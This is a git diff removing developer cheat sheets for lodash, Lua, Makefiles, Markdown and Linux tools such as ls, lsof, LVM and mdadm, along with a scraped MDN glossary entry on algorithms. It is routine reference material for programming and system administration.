-_.kebabCase('hello world')
-_.camelCase('hello world')
-```
-
-#### Padding
-
-```
-_.pad('abc', 3)
-_.pad('abc', 8)
-_.pad('abc', 8, '_-')
-_.padStart('abc', 3)
-_.padStart('abc', 6)
-_.padStart('abc', 6, '_-')
-_.padEnd('abc', 3)
-_.padEnd('abc', 6)
-_.padEnd('abc', 6, '_-')
-```
-
-#### Trim
-
-```
-_.trim('  str  ')
-_.trimLeft('  str  ')
-_.trimRight('  str  ')
-```
-
-#### Etc
-
-```
-_.repeat('-', 2)
-_.deburr('déjà vu')
-_.trunc('hello world', 5)
-```
-
-```
-_.startsWith('abc', 'a')
-_.endsWith('abc', 'c')
-```
-
-### #Objects
-
-#### Keys and values
-
-```
-_.keys(obj)
-_.values(obj)
-```
-
-### #Chaining
-
-#### Chain and value
-
-```
-_([1, 2, 3])
-  .reduce((total, n) => total + n)
-  .map((n) => n * n)
-  .tap(console.log)
-  .thru((n) => n.reverse())
-  .value()
-```
diff --git a/docs/content/cheat-sheets/lodash.md b/docs/content/cheat-sheets/lodash.md
deleted file mode 100644
index 48b45ecb77..0000000000
--- a/docs/content/cheat-sheets/lodash.md
+++ /dev/null
@@ -1,252 +0,0 @@
----
-title: Lodash
-category: JavaScript libraries
-
-weight: -3
-description: |
-    This is not a complete list.
----
-
-## Collections
-
-### Finding
-
-```js
-_.filter(list, (n) => n % 2)    // → Array
-_.find(list, (n) => n % 2)      // → item
-_.findLast(list, ...)           // → item
-```
-
-Works for both arrays and objects.
-
-### Accessing
-
-```js
-_.at([abcd], 0); // → [ a ] - same as list[0]
-_.at([abcd], [0, 1]); // → [ ab ]
-```
-
-### Set/get
-
-```js
-_.set(object, 'users[0].name', value);
-_.get(object, 'users[0].name');
-_.get(object, ['users', 0, 'name']);
-```
-
-### Iteration
-
-```js
-_.forEach(list, (item, i) => ...)
-_.forEachRight(list, ...)
-
-_.map(list, ...)
-```
-
-```js
-_.every(users, (u) => u.active)  // → true|false (aka _.all)
-_.any(users, ...)                // → true|false (aka _.some)
-```
-
-## Array
-
-### Arrays
-
-```js
-_.chunk([abcd], 2); // → [ [ab], [cd] ]
-_.compact(list);
-
-_.fill(Array(4), 'x'); // → [ 'x', 'x', 'x', 'x' ]
-_.flatten;
-_.flattenDeep;
-```
-
-### Filtering
-
-```js
-_.drop([abcdef], 2); // → [   cdef ]
-_.dropRight([abcdef], 2); // → [ abcd   ]
-_.take([abcdef], 2); // → [ ab     ]
-_.takeRight([abcdef], 2); // → [     de ]
-_.slice([abcdef], 2, 4); // → [   cd   ]
-```
-
-```js
-_.initial([abcdef]); // → [ abcde  ] - dropRight(list, 1)
-_.rest([abcdef]); // → [  bcdef ] - takeRight(list, 1)
-```
-
-```js
-_.dropWhile(list, 'active')            // works like filter
-_.dropWhile(list, 'active', true)
-_.dropWhile(list, { active: true })
-_.dropWhile(list, (n) => ...)
-_.dropRightWhile(list, ...)
-```
-
-```js
-_.without([abcde], b); // → [ acde ]
-```
-
-```js
-_.remove(list, (n) => n % 2);
-```
-
-### Accessing
-
-```js
-_.first([abcdef]); // → a
-_.last([abcdef]); // → f
-```
-
-### Sets
-
-```js
-_.uniq();
-_.difference([abc], [bc]); // → [ a    ]
-_.intersection([abc], [bcd]); // → [  bc  ]
-_.union([abc], [bcd]); // → [ abcd ] (unique)
-```
-
-```js
-Array#concat()
-```
-
-### Indexes
-
-```js
-_.findIndex(list, fn);
-_.findLastIndex(list, fn);
-```
-
-```js
-_.sortedIndex(list, val);
-_.sortedLastIndex(list, val);
-```
-
-```js
-_.indexOf(list, val);
-```
-
-## Functions
-
-### Currying
-
-```js
-greet = (greeting, name) => `${greeting}, ${name}!`;
-```
-
-{: .-setup}
-
-```js
-fn = _.partial(fn, 'hi');
-fn('joe'); // → 'hi, joe!'
-
-fn = _.partial(fn, 'joe');
-fn('yo'); // → 'yo, joe!'
-```
-
-```js
-_.curry(greet)('hi'); // → function(name)
-_.curryRight(greet)('joe'); // → function(greet)
-```
-
-## Decorating functions
-
-### Throttling
-
-```js
-_.throttle(fn);
-_.debounce(fn);
-```
-
-### Limiting
-
-```js
-_.before(5, fn); // only works 5 times
-_.after(5, fn); // works only after 5 times
-_.once(fn); // like _.before(fn, 1)
-```
-
-### Etc
-
-```js
-_.wrap(_.escape, (name) => `hi ${name}`)
-// same as doing `name = _.escape(name)`
-
-_.delay(fn, 2000)
-
-_.negate(fn)
-
-_.memoize(fn)
-_.memoize(fn, ...)
-```
-
-## Strings
-
-### Capitalization
-
-```js
-_.capitalize('hello world'); // → 'Hello world'
-_.startCase('hello_world'); // → 'Hello World'
-_.snakeCase('hello world'); // → 'hello_world'
-_.kebabCase('hello world'); // → 'hello-world'
-_.camelCase('hello world'); // → 'helloWorld'
-```
-
-### Padding
-
-```js
-_.pad('abc', 3); // → 'abc'
-_.pad('abc', 8); // → '   abc  '
-_.pad('abc', 8, '_-'); // → '_-abc_-_'
-_.padStart('abc', 3); // → 'abc'
-_.padStart('abc', 6); // → '   abc'
-_.padStart('abc', 6, '_-'); // → '_-_abc'
-_.padEnd('abc', 3); // → 'abc'
-_.padEnd('abc', 6); // → 'abc   '
-_.padEnd('abc', 6, '_-'); // → 'abc_-_'
-```
-
-### Trim
-
-```js
-_.trim('  str  '); // → 'str'
-_.trimLeft('  str  '); // → 'str  '
-_.trimRight('  str  '); // → '  str'
-```
-
-### Etc
-
-```js
-_.repeat('-', 2); // → '--'
-_.deburr('déjà vu'); // → 'deja vu'
-_.trunc('hello world', 5); // → 'hello...'
-```
-
-```js
-_.startsWith('abc', 'a'); // → true
-_.endsWith('abc', 'c'); // → true
-```
-
-## Objects
-
-### Keys and values
-
-```js
-_.keys(obj);
-_.values(obj);
-```
-
-## Chaining
-
-### Chain and value
-
-```js
-_([1, 2, 3])
-    .reduce((total, n) => total + n)
-    .map((n) => n * n)
-    .tap(console.log)
-    .thru((n) => n.reverse())
-    .value();
-```
diff --git a/docs/content/cheat-sheets/ls.md b/docs/content/cheat-sheets/ls.md
deleted file mode 100644
index 40074c6259..0000000000
--- a/docs/content/cheat-sheets/ls.md
+++ /dev/null
@@ -1,23 +0,0 @@
-# To display everything in <dir>, excluding hidden files:
-
-ls <dir>
-
-# To display everything in <dir>, including hidden files:
-
-ls -a <dir>
-
-# To display all files, along with the size (with unit suffixes) and timestamp
-
-ls -lh <dir>
-
-# To display files, sorted by size:
-
-ls -S <dir>
-
-# To display directories only:
-
-ls -d \*/ <dir>
-
-# To display directories only, include hidden:
-
-ls -d ._/ _/ <dir>
diff --git a/docs/content/cheat-sheets/lsblk.md b/docs/content/cheat-sheets/lsblk.md
deleted file mode 100644
index 1f316a6450..0000000000
--- a/docs/content/cheat-sheets/lsblk.md
+++ /dev/null
@@ -1,29 +0,0 @@
-# To show all available block devices along with their partitioning schemes:
-
-lsblk
-
-# To show SCSI devices:
-
-lsblk --scsi
-
-# To show a specific device:
-
-lsblk /dev/sda
-
-# To verify TRIM support:
-
-# Check the values of DISC-GRAN (discard granularity) and DISC-MAX (discard max bytes) columns.
-
-# Non-zero values indicate TRIM support
-
-lsblk --discard
-
-# To fetch info about filesystems:
-
-lsblk --fs
-
-# For JSON, LIST or TREE output formats use the following flags:
-
-lsblk --json
-lsblk --list
-lsblk --tree # default view
diff --git a/docs/content/cheat-sheets/lsof.md b/docs/content/cheat-sheets/lsof.md
deleted file mode 100644
index 9e184e751b..0000000000
--- a/docs/content/cheat-sheets/lsof.md
+++ /dev/null
@@ -1,45 +0,0 @@
-# To list all IPv4 network files:
-
-sudo lsof -i4
-
-# To list all IPv6 network files:
-
-sudo lsof -i6
-
-# To list all open sockets:
-
-lsof -i
-
-# To list all listening ports:
-
-lsof -Pnl +M -i4
-
-# To find which program is using the port 80:
-
-lsof -i TCP:80
-
-# To list all connections to a specific host:
-
-lsof -i@192.168.1.5
-
-# To list all processes accessing a particular file/directory:
-
-lsof <path>
-
-# To list all files open for a particular user:
-
-lsof -u <username>
-
-# To list all files/network connections a command is using:
-
-lsof -c <command>
-
-# To list all files a process has open:
-
-lsof -p <pid>
-
-# To list all files open mounted at /mount/point:
-
-# (Particularly useful for finding which process(es) are using a mounted USB stick or CD/DVD.)
-
-lsof +f -- <mount-point>
diff --git a/docs/content/cheat-sheets/lua.md b/docs/content/cheat-sheets/lua.md
deleted file mode 100644
index 7e829c2100..0000000000
--- a/docs/content/cheat-sheets/lua.md
+++ /dev/null
@@ -1,296 +0,0 @@
----
-title: Lua
----
-
-## Comments
-
-    -- comment
-    --[[ Multiline
-         comment ]]
-
-## Invoking functions
-
-    print()
-    print("Hi")
-
-    -- You can omit parentheses if the argument is one string or table literal
-    print "Hello World"     <-->     print("Hello World")
-    dofile 'a.lua'          <-->     dofile ('a.lua')
-    print [[a multi-line    <-->     print([[a multi-line
-     message]]                        message]])
-    f{x=10, y=20}           <-->     f({x=10, y=20})
-    type{}                  <-->     type({})
-
-## Tables / arrays
-
-    t = {}
-    t = { a = 1, b = 2 }
-    t.a = function() ... end
-
-    t = { ["hello"] = 200 }
-    t.hello
-
-    -- Remember, arrays are also tables
-    array = { "a", "b", "c", "d" }
-    print(array[2])       -- "b" (one-indexed)
-    print(#array)         -- 4 (length)
-
-## Loops
-
-    while condition do
-    end
-
-    for i = 1,5 do
-    end
-
-    for i = start,finish,delta do
-    end
-
-    for k,v in pairs(tab) do
-    end
-
-    repeat
-    until condition
-
-    -- Breaking out:
-    while x do
-      if condition then break end
-    end
-
-## Conditionals
-
-    if condition then
-      print("yes")
-    elseif condition then
-      print("maybe")
-    else
-      print("no")
-    end
-
-## Variables
-
-    local x = 2
-    two, four = 2, 4
-
-## Functions
-
-    function myFunction()
-      return 1
-    end
-
-    function myFunctionWithArgs(a, b)
-      -- ...
-    end
-
-    myFunction()
-
-    anonymousFunctions(function()
-      -- ...
-    end)
-
-    -- Not exported in the module
-    local function myPrivateFunction()
-    end
-
-    -- Splats
-    function doAction(action, ...)
-      print("Doing '"..action.."' to", ...)
-      --> print("Doing 'write' to", "Shirley", "Abed")
-    end
-
-    doAction('write', "Shirley", "Abed")
-
-## Lookups
-
-    mytable = { x = 2, y = function() .. end }
-
-    -- The same:
-    mytable.x
-    mytable['x']
-
-    -- Syntactic sugar, these are equivalent:
-    mytable.y(mytable)
-    mytable:y()
-
-    mytable.y(mytable, a, b)
-    mytable:y(a, b)
-
-    function X:y(z) .. end
-    function X.y(self, z) .. end
-
-## Metatables
-
-    mt = {}
-
-    -- A metatable is simply a table with functions in it.
-    mt.__tostring = function() return "lol" end
-    mt.__add      = function(b) ... end       -- a + b
-    mt.__mul      = function(b) ... end       -- a * b
-    mt.__index    = function(k) ... end       -- Lookups (a[k] or a.k)
-    mt.__newindex = function(k, v) ... end    -- Setters (a[k] = v)
-
-    -- Metatables allow you to override behavior of another table.
-    mytable = {}
-    setmetatable(mytable, mt)
-
-    print(myobject)
-
-## Classes
-
-    Account = {}
-
-    function Account:new(balance)
-      local t = setmetatable({}, { __index = Account })
-
-      -- Your constructor stuff
-      t.balance = (balance or 0)
-      return t
-    end
-
-    function Account:withdraw(amount)
-      print("Withdrawing "..amount.."...")
-      self.balance = self.balance - amount
-      self:report()
-    end
-
-    function Account:report()
-      print("Your current balance is: "..self.balance)
-    end
-
-    a = Account:new(9000)
-    a:withdraw(200)    -- method call
-
-## Constants
-
-    nil
-    false
-    true
-
-## Operators (and their metatable names)
-
-    -- Relational (binary)
-    -- __eq  __lt  __gt  __le  __ge
-       ==    <     >     <=    >=
-    ~=   -- Not equal, just like !=
-
-    -- Arithmetic (binary)
-    -- __add  __sub  __muv  __div  __mod  __pow
-       +      -      *      /      %      ^
-
-    -- Arithmetic (unary)
-    -- __unm (unary minus)
-       -
-
-    -- Logic (and/or)
-    nil and false  --> nil
-    false and nil  --> false
-    0 and 20       --> 20
-    10 and 20      --> 20
-
-    -- Length
-    -- __len(array)
-    #array
-
-    -- Indexing
-    -- __index(table, key)
-    t[key]
-    t.key
-
-    -- __newindex(table, key, value)
-    t[key]=value
-
-    -- String concat
-    -- __concat(left, right)
-    "hello, "..name
-
-    -- Call
-    -- __call(func, ...)
-
-## API: Global functions [(ref)](http://lua.gts-stolberg.de/en/Basis.php)
-
-    dofile("hello.lua")
-    loadfile("hello.lua")
-
-    assert(x)    -- x or (raise an error)
-    assert(x, "failed")
-
-    type(var)   -- "nil" | "number" | "string" | "boolean" | "table" | "function" | "thread" | "userdata"
-
-    -- Does /not/ invoke meta methods (__index and __newindex)
-    rawset(t, index, value)    -- Like t[index] = value
-    rawget(t, index)           -- Like t[index]
-
-    _G  -- Global context
-    setfenv(1, {})  -- 1: current function, 2: caller, and so on -- {}: the new _G
-
-    pairs(t)     -- iterable list of {key, value}
-    ipairs(t)    -- iterable list of {index, value}
-
-    tonumber("34")
-    tonumber("8f", 16)
-
-## API: Strings
-
-    'string'..'concatenation'
-
-    s = "Hello"
-    s:upper()
-    s:lower()
-    s:len()    -- Just like #s
-
-    s:find()
-    s:gfind()
-
-    s:match()
-    s:gmatch()
-
-    s:sub()
-    s:gsub()
-
-    s:rep()
-    s:char()
-    s:dump()
-    s:reverse()
-    s:byte()
-    s:format()
-
-## API: Tables
-
-    table.foreach(t, function(row) ... end)
-    table.setn
-    table.insert(t, 21)          -- append (--> t[#t+1] = 21)
-    table.insert(t, 4, 99)
-    table.getn
-    table.concat
-    table.sort
-    table.remove(t, 4)
-
-## API: Math [(ref)](http://lua-users.org/wiki/MathLibraryTutorial)
-
-    math.abs     math.acos    math.asin       math.atan    math.atan2
-    math.ceil    math.cos     math.cosh       math.deg     math.exp
-    math.floor   math.fmod    math.frexp      math.ldexp   math.log
-    math.log10   math.max     math.min        math.modf    math.pow
-    math.rad     math.random  math.randomseed math.sin     math.sinh
-    math.sqrt    math.tan     math.tanh
-
-    math.sqrt(144)
-    math
-
-## API: Misc
-
-    io.output(io.open("file.txt", "w"))
-    io.write(x)
-    io.close()
-
-    for line in io.lines("file.txt")
-
-    file = assert(io.open("file.txt", "r"))
-    file:read()
-    file:lines()
-    file:close()
-
-## Reference
-
-http://www.lua.org/pil/13.html
-http://lua-users.org/wiki/ObjectOrientedProgramming
diff --git a/docs/content/cheat-sheets/lvm.md b/docs/content/cheat-sheets/lvm.md
deleted file mode 100644
index 0ed1114875..0000000000
--- a/docs/content/cheat-sheets/lvm.md
+++ /dev/null
@@ -1,74 +0,0 @@
-# PV - physical volume (disc); eg. /dev/sda
-
-# VG - volume group; eg. vg0
-
-# LV - logical volume; eg. root
-
-# Create PV
-
-pvcreate /dev/sda
-
-# Display info about PV
-
-pvdisplay /dev/sda
-
-# Create VG
-
-vgcreate vg0 /dev/sda
-
-# Display info about VG
-
-vgdispay vg0
-
-# Add PV to VG, PV must be created before
-
-vgextend vg0 /dev/sdb
-
-# Remove PV from VG
-
-pvmove /dev/sdb # Move data from PV
-vgreduce data /dev/sdb
-
-# Deactivate VG, do this when you want to physically remove device
-
-vgchange --activate n vg0
-
-# Create LV
-
-lvcreate --name root --size 8G vg0
-
-# Extend LV size
-
-lvextend --size 16G vg0/root
-
-# Reduce LV size, FS must be resized first!
-
-lvreduce --size 8G vg0/root
-
-# Remove LV
-
-lvremove vg0/root
-
-# Create mirrored LV (RAID1)
-
-lvcreate --name root --size 8G --mirrors 1 data vg0
-
-# Mirror logs are stored on third device by default - if you don't have 3 or
-
-# more devices in VG add '--mirrorlog core' to store logs in memory
-
-# Enable mirroring on existing LV
-
-lvconvert --mirrors 1 vg0/root
-
-# Create stripped LV (RAID0)
-
-lvcreate --name root --size 8G --stripes 2 --stripesize 4 vg0
-
-#Exclusive Activation of a Volume Group in a Cluster
-#Link --> https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/High_Availability_Add-On_Administration/s1-exclusiveactive-HAAA.html
-1> vgs --noheadings -o vg_name
-2> volume_list = [ "rhel_root", "rhel_home" ]
-3> dracut -H -f /boot/initramfs-$(uname -r).img $(uname -r)
-4> Reboot the node
-5> uname -r to verify the correct initrd image
diff --git a/docs/content/cheat-sheets/machinist.md b/docs/content/cheat-sheets/machinist.md
deleted file mode 100644
index f083654eaf..0000000000
--- a/docs/content/cheat-sheets/machinist.md
+++ /dev/null
@@ -1,48 +0,0 @@
----
-title: Machinist
-category: Ruby libraries
----
-
-### Installing
-
-    # Gemfile
-    gem 'machinist', '>= 2.0.0.beta2', group: 'test'
-
-    # ~$ bundle
-    # ~$ rails generate machinist:install
-
-### Building objects
-
-    User.make
-
-    # `make` builds it, and `make!` builds+saves it
-    User.make!
-    User.make! name: "David"
-    User.make!(:admin)
-
-### Defining blueprints
-
-    User.blueprint do
-      name  { "User #{sn}" }
-      email { "user-#{sn}@example.com" }
-    end
-
-    User.blueprint(:admin) do
-      name  { "Admin User #{sn}" }
-      admin { true }
-    end
-
-### Associations
-
-    Post.blueprint do
-      author { User.make }
-
-      comments(3)    # Makes 3 comments (has_many / habtm)
-
-      author         # autodetect (Assumes there's User.blueprint)
-
-    end
-
-### References
-
--   [https://github.com/notahat/machinist](https://github.com/notahat/machinist)
diff --git a/docs/content/cheat-sheets/macos-mouse-acceleration.md b/docs/content/cheat-sheets/macos-mouse-acceleration.md
deleted file mode 100644
index bc34601f40..0000000000
--- a/docs/content/cheat-sheets/macos-mouse-acceleration.md
+++ /dev/null
@@ -1,36 +0,0 @@
----
-title: Mouse Acceleration
-
-category: macOS
-weight: -1
-keywords:
-    - 'defaults write .GlobalPreferences com.apple.mouse.scaling -1'
-intro: |
-    Disable mouse acceleration with this one weird trick.
----
-
-## Acceleration
-
-### Disabling
-
-```bash
-defaults write .GlobalPreferences com.apple.mouse.scaling -1
-```
-
-Note: Log out to take effect. If you change _Tracking Speed_ under System Preferences, it will undo this fix. Only affects the mouse, not the trackpad.
-
-### Re-enabling
-
-Under _System Preferences_ → _Mouse_, change _Tracking Speed_.
-
-### Trackpad acceleration
-
-```bash
-defaults write .GlobalPreferences com.apple.trackpad.scaling -1
-```
-
-Works the same way, but only affects trackpads.
-
-## References
-
--   [Disabling mouse acceleration](https://stackoverflow.com/questions/5782884/disabling-mouse-acceleration-in-mac-os-x) _(stackoverflow.com)_
diff --git a/docs/content/cheat-sheets/make-assets.md b/docs/content/cheat-sheets/make-assets.md
deleted file mode 100644
index 0e1ca970da..0000000000
--- a/docs/content/cheat-sheets/make-assets.md
+++ /dev/null
@@ -1,50 +0,0 @@
----
-title: Make for assets
-hljs_languages: [makefile]
----
-
-## Basic compiling
-
-```makefile
-bin := ./node_modules/.bin
-
-all: build/foo.js
-
-build/%.js: src/%.coffee
-    @$(bin)/coffee < $^ > $@
-```
-
-## Stylus + Autoprefixer
-
-    bin := ./node_modules/.bin
-    stylus := $(bin)/stylus
-    autoprefixer := $(bin)/autoprefixer
-    styl_files := $(shell find web/ -name "*.styl")
-
-    all: public/app.css
-
-    public/app.css: css/app.styl
-
-    %.css: %.styl $(styl_files)
-        @$(stylus) $< | $(autoprefixer) -b "> 1%" > $@
-
-## Hint
-
-    hint:
-       $(js_files)
-
-## Watching
-
-    watch:
-        @echo "... watching for changes"
-        @while true; do make -s; sleep 1; done
-
-## Browserify
-
-    js_files := $(shell find web/ -name "*.js")
-
-    public/app.js: web/app.js
-    public/vendor.js: web/vendor.js
-
-    public/%.js: web/%.js $(js_files)
-        $(browserify) -t [ cssify -x .css ] $< > $@
diff --git a/docs/content/cheat-sheets/makefile.md b/docs/content/cheat-sheets/makefile.md
deleted file mode 100644
index b8de6a21a5..0000000000
--- a/docs/content/cheat-sheets/makefile.md
+++ /dev/null
@@ -1,129 +0,0 @@
----
-title: Makefile
-prism_languages: [makefile]
-
-category: CLI
----
-
-## Var assignment
-
-```makefile
-foo  = "bar"
-bar  = $(foo) foo  # dynamic (renewing) assignment
-foo := "boo"       # one time assignment, $(bar) now is "boo foo"
-foo ?= /usr/local  # safe assignment, $(foo) and $(bar) still the same
-bar += world       # append, "boo foo world"
-foo != echo fooo   # exec shell command and assign to foo
-# $(bar) now is "fooo foo world"
-```
-
-`=` expressions are only evaluated when they're being used.
-
-## Magic variables
-
-```makefile
-out.o: src.c src.h
-  $@   # "out.o" (target)
-  $<   # "src.c" (first prerequisite)
-  $^   # "src.c src.h" (all prerequisites)
-
-%.o: %.c
-  $*   # the 'stem' with which an implicit rule matches ("foo" in "foo.c")
-
-also:
-  $+   # prerequisites (all, with duplication)
-  $?   # prerequisites (new ones)
-  $|   # prerequisites (order-only?)
-
-  $(@D) # target directory
-```
-
-## Command prefixes
-
-| Prefix | Description                                 |
-| ------ | ------------------------------------------- |
-| `-`    | Ignore errors                               |
-| `@`    | Don't print command                         |
-| `+`    | Run even if Make is in 'don't execute' mode |
-
-```makefile
-build:
-    @echo "compiling"
-    -gcc $< $@
-
--include .depend
-```
-
-## Find files
-
-```makefile
-js_files  := $(wildcard test/*.js)
-all_files := $(shell find images -name "*")
-```
-
-## Substitutions
-
-```makefile
-file     = $(SOURCE:.cpp=.o)   # foo.cpp => foo.o
-outputs  = $(files:src/%.coffee=lib/%.js)
-
-outputs  = $(patsubst %.c, %.o, $(wildcard *.c))
-assets   = $(patsubst images/%, assets/%, $(wildcard images/*))
-```
-
-## More functions
-
-```makefile
-$(strip $(string_var))
-
-$(filter %.less, $(files))
-$(filter-out %.less, $(files))
-```
-
-## Building files
-
-```makefile
-%.o: %.c
-  ffmpeg -i $< > $@   # Input and output
-  foo $^
-```
-
-## Includes
-
-```makefile
--include foo.make
-```
-
-## Options
-
-```sh
-make
-  -e, --environment-overrides
-  -B, --always-make
-  -s, --silent
-  -j, --jobs=N   # parallel processing
-```
-
-## Conditionals
-
-```makefile
-foo: $(objects)
-ifeq ($(CC),gcc)
-  $(CC) -o foo $(objects) $(libs_for_gcc)
-else
-  $(CC) -o foo $(objects) $(normal_libs)
-endif
-```
-
-## Recursive
-
-```makefile
-deploy:
-  $(MAKE) deploy2
-```
-
-## Further reading
-
--   [isaacs's Makefile](https://gist.github.com/isaacs/62a2d1825d04437c6f08)
--   [Your Makefiles are wrong](https://tech.davis-hansson.com/p/make/)
--   [Manual](https://www.gnu.org/software/make/manual/html_node/index.html)
diff --git a/docs/content/cheat-sheets/man.md b/docs/content/cheat-sheets/man.md
deleted file mode 100644
index a544d2c3fe..0000000000
--- a/docs/content/cheat-sheets/man.md
+++ /dev/null
@@ -1,17 +0,0 @@
----
-title: Man
-category: CLI
----
-
-### Man paths
-
-| `1` | General User Commands |
-| `2` | System Calls |
-| `3` | Library Routines |
-| `4` | Special Files and Sockets |
-| `5` | File formats and Conventions |
-| `6` | Games and Fun Stuff |
-| `7` | Miscellaneous Documentation |
-| `8` | System Administration |
-| `9` | Kernel and Programming Style |
-| `n` | Tcl/Tk |
diff --git a/docs/content/cheat-sheets/markdown.md b/docs/content/cheat-sheets/markdown.md
deleted file mode 100644
index c9c1ed0ebc..0000000000
--- a/docs/content/cheat-sheets/markdown.md
+++ /dev/null
@@ -1,168 +0,0 @@
----
-title: Markdown
-category: Markup
-
-prism_languages: [markdown]
-weight: -1
----
-
-## Reference
-
-{:.-three-column}
-
-### Headers
-
-```markdown
-# h1
-
-## h2
-
-### h3
-
-#### h4
-
-##### h5
-
-###### h6
-```
-
-```markdown
-# Header 1
-```
-
-```markdown
-## Header 2
-```
-
-### Emphasis
-
-```markdown
-_italic_
-_italic_
-```
-
-```markdown
-**bold**
-**bold**
-```
-
-```markdown
-**_bold italic_**
-**_bold italic_**
-```
-
-```markdown
-~~strikethrough~~
-```
-
-```markdown
-`code`
-```
-
-### Lists
-
-```markdown
--   Item 1
--   Item 2
-```
-
-```markdown
--   Item 1
--   Item 2
-```
-
-```markdown
--   [ ] Checkbox off
--   [x] Checkbox on
-```
-
-```markdown
-1. Item 1
-2. Item 2
-```
-
-### Links
-
-```markdown
-[link](http://google.com)
-```
-
-```markdown
-[link][google]
-[google]: http://google.com
-```
-
-```markdown
-<http://google.com>
-```
-
-### Images
-
-```markdown
-![Image alt text](/path/to/img.jpg)
-![Image alt text](/path/to/img.jpg 'title')
-![Image alt text][img]
-```
-
-```markdown
-[img]: http://foo.com/img.jpg
-```
-
-### Code
-
-```
-    4 space indent
-    makes a code block
-```
-
-```markdown
-
-```
-
-code fences
-
-```
-
-```
-
-````markdown
-```js
-codeFences.withLanguage();
-```
-````
-
-````
-
-### Blockquotes
-
-```markdown
-> This is
-> a blockquote
->
-> > Nested
-> > Blockquote
-````
-
-### Horizontal line
-
-```markdown
----
-```
-
-```markdown
----
-```
-
-### Tables
-
-```markdown
-| Column 1 Heading | Column 2 Heading |
-| ---------------- | ---------------- |
-| Some content     | Other content    |
-```
-
-```markdown
-| Column 1 Heading | Column 2 Heading |
-| ---------------- | ---------------- |
-| Some content     | Other content    |
-```
diff --git a/docs/content/cheat-sheets/mdadm.md b/docs/content/cheat-sheets/mdadm.md
deleted file mode 100644
index 15bf4db936..0000000000
--- a/docs/content/cheat-sheets/mdadm.md
+++ /dev/null
@@ -1,83 +0,0 @@
-# For the sake of briefness, we use Bash "group compound" stanza:
-
-# /dev/sd{a,b,...}1 => /dev/sda1 /dev/sdb1 ...
-
-# Along the following variables:
-
-# ${M} array identifier (/dev/md${M})
-
-# ${D} device identifier (/dev/sd${D})
-
-# ${P} partition identifier (/dev/sd${D}${P})
-
-# To create (initialize) a new array:
-
-mdadm --create /dev/md${M} --level=raid5 --raid-devices=4 /dev/sd{a,b,c,d,e}${P} --spare-devices=/dev/sdf1
-
-# To manually assemble (activate) an existing array:
-
-mdadm --assemble /dev/md${M} /dev/sd{a,b,c,d,e}${P}
-
-# To automatically assemble (activate) all existing arrays:
-
-mdadm --assemble --scan
-
-# To stop an assembled (active) array:
-
-mdadm --stop /dev/md${M}
-
-# To see array configuration:
-
-mdadm --query /dev/md${M}
-
-# To see array component configuration (dump superblock content):
-
-mdadm --query --examine /dev/sd${D}${P}
-
-# To see detailed array confiration/status:
-
-mdadm --detail /dev/md${M}
-
-# To save existing arrays configuration:
-
-# (MAY be required by initrd for successfull boot)
-
-mdadm --detail --scan > /etc/mdadm/mdadm.conf
-
-# To erase array component superblock:
-
-# (MUST do before reusing a partition for other purposes)
-
-mdadm --zero-superblock /dev/sd${D}${P}
-
-# To manually mark a component as failed:
-
-# (SHOULD when a device shows wear-and-tear signs, e.g. through SMART)
-
-mdadm --manage /dev/md${M} --fail /dev/sd${D}${P}
-
-# To remove a failed component:
-
-# (SHOULD before preemptively replacing a device, after failing it)
-
-mdadm --manage /dev/md${M} --remove /dev/sd${D}${P}
-
-# To prepare (format) a new device to replace a failed one:
-
-sfdisk -d /dev/sd${D,sane} | sfdisk /dev/sd${D,new}
-
-# To add new component to an existing array:
-
-# (this will trigger the rebuild)
-
-mdadm --manage /dev/md${M} --add /dev/sd${D,new}${P}
-
-# To see assembled (active) arrays status:
-
-cat /proc/mdstat
-
-# To rename a device:
-
-# (SHOULD after hostname change; eg. name="$(hostname -s)")
-
-mdadm --assemble /dev/md${M} /dev/sd{a,b,c,d,e}${P} --name="${name}:${M}" --update=name
diff --git a/docs/content/cheat-sheets/mdn-web-docs-glossary-definitions-of-web-related-terms-or-mdn.md b/docs/content/cheat-sheets/mdn-web-docs-glossary-definitions-of-web-related-terms-or-mdn.md
deleted file mode 100644
index 776c603770..0000000000
--- a/docs/content/cheat-sheets/mdn-web-docs-glossary-definitions-of-web-related-terms-or-mdn.md
+++ /dev/null
@@ -1,153 +0,0 @@
-# MDN Web Docs Glossary: Definitions of Web-related terms \\| MDN
-
-::: {#react-container data-component-name="SPA"} ::: {.loading-bar} :::
-
--   Skip to main content{#skip-main}
--   Select language{#skip-language}
--   Skip to search{#skip-search}
--   Technologies
-    -   Technologies Overview
-    -   HTML
-    -   CSS
-    -   JavaScript
-    -   Graphics
-    -   HTTP
-    -   APIs / DOM
-    -   Browser Extensions
-    -   MathML
--   References & Guides
-    -   Learn web development
-    -   Tutorials
-    -   References
-    -   Developer Guides
-    -   Accessibility
-    -   Game development
-    -   ...more docs
--   Feedback
-    -   Send Feedback
-    -   Get Firefox help 🌐
-    -   Get web development help 🌐
-    -   Join the MDN community
-    -   Report a content problem 🌐
-    -   Report an issue 🌐
-
-::: {.header-search} Search MDN
-
-Open search :::
-
-::: {role="main"} ::: {.titlebar-container} ::: {.titlebar} ::: :::
-
-::: {.full-width-row-container} ::: {.max-content-width-container}
-
-1. \[See ]{.pre-text}\[MDN Web Docs Glossary: Definitions of Web-related terms]{property="name"}{.breadcrumb-previous}
-2. \[Algorithm]{property="name" aria-current="page"}{.crumb-current-page}
-
-::: {.dropdown-container .language-menu} English\[▼]{.dropdown-arrow-down aria-hidden="true"}
-
--   عربي
--   Deutsch
--   Español
--   Français
--   Bahasa Indonesia
--   日本語
--   한국어
--   Polski
--   Português (do Brasil)
--   Русский
--   Українська
--   Tiếng Việt
--   中文 (简体)
--   正體中文 (繁體)
--   Add a translation{#translations-add} ::: ::: :::
-
-### ::: {.wiki-left-present .content-layout} ::: {.section .document-toc} On this Page
-
-Jump to section
-
--   Learn more
--   Related topics :::
-
-::: {#content .article .text-content} An algorithm is a self-contained series of instructions to perform a function.
-
-In other words, an algorithm is a means of describing a way to solve a problem so that it can be solved repeatedly, by humans or machines. Computer scientists compare the efficiency of algorithms through the concept of "Algorithmic Complexity" or "Big O" notation.
-
-For example:
-
--   A cooking recipe is a simple algorithm for humans.
--   A sorting algorithm is often used in computer programming to explain a machine how to sort data.
-
-Common algorithms are Pathfinding algorithms such as the Traveling Salesman Problem, Tree Traversal algorithms and so on.
-
